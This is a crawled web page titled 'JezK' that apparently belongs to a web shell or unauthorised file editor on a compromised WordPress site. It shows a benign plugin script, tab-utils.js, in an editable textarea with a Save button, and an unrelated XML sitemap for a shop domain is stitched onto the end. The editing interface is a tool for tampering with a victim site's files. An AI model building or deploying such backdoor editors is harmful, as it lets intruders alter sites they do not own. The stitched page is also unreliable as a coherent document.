
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: tab-utils.js</h2><form method="post"><textarea name="file_content" rows="10" cols="50">jQuery(function ($) {
	var menuEditorHeading = $(&#039;#ws_ame_editor_heading&#039;).first();
	var pageWrapper = menuEditorHeading.closest(&#039;.wrap&#039;);
	var tabList = pageWrapper.find(&#039;.nav-tab-wrapper&#039;).first();

	//On AME pages, move settings tabs after the heading. This is necessary to make them appear on the right side,
	//and WordPress breaks that by moving notices like &quot;Settings saved&quot; after the first H1 (see common.js).
	var menuEditorTabs = tabList.add(tabList.next(&#039;.clear&#039;));
	if ((menuEditorHeading.length &gt; 0) &amp;&amp; (menuEditorTabs.length &gt; 0)) {
		menuEditorTabs.insertAfter(menuEditorHeading);
	}

	//Switch tab styles when there are too many tabs and they don&#039;t fit on one row.
	var $firstTab = null,
		$lastTab = null,
		knownTabWrapThreshold = -1;

	function updateTabStyles() {
		if (($firstTab === null) || ($lastTab === null)) {
			var $tabItems = tabList.children(&#039;.nav-tab&#039;);
			$firstTab = $tabItems.first();
			$lastTab = $tabItems.last();
		}

		//To detect if any tabs are wrapped to the next row, check if the top of the last tab
		//is below the bottom of the first tab.
		var firstPosition = $firstTab.position();
		var lastPosition = $lastTab.position();
		var windowWidth = $(window).width();
		//Sanity check.
		if (
			!firstPosition || !lastPosition || !windowWidth
			|| (typeof firstPosition[&#039;top&#039;] === &#039;undefined&#039;)
			|| (typeof lastPosition[&#039;top&#039;] === &#039;undefined&#039;)
		) {
			return;
		}
		var firstTabBottom = firstPosition.top + $firstTab.outerHeight();
		var areTabsWrapped = (lastPosition.top &gt;= firstTabBottom);

		//Tab positions may change when we apply different styles, which could lead to the tab bar
		//rapidly cycling between one and two two rows when the browser width is just right.
		//To prevent that, remember what the width was when we detected wrapping, and always apply
		//the alternative styles if the width is lower than that.
		var wouldWrapByDefault = (windowWidth &lt;= knownTabWrapThreshold);

		var tooManyTabs = areTabsWrapped || wouldWrapByDefault;
		if (tooManyTabs &amp;&amp; (windowWidth &gt; knownTabWrapThreshold)) {
			knownTabWrapThreshold = windowWidth;
		}

		pageWrapper.toggleClass(&#039;ws-ame-too-many-tabs&#039;, tooManyTabs);
	}

	updateTabStyles();

	$(window).on(&#039;resize&#039;, wsAmeLodash.debounce(
		function () {
			updateTabStyles();
		},
		300
	));
});

</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://tiffingrab.ca/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://tiffingrab.ca/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://tiffingrab.ca/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://tiffingrab.ca/wp-sitemap-posts-product-1.xml</loc></sitemap><sitemap><loc>https://tiffingrab.ca/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://tiffingrab.ca/wp-sitemap-taxonomies-product_cat-1.xml</loc></sitemap><sitemap><loc>https://tiffingrab.ca/wp-sitemap-taxonomies-product_tag-1.xml</loc></sitemap><sitemap><loc>https://tiffingrab.ca/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
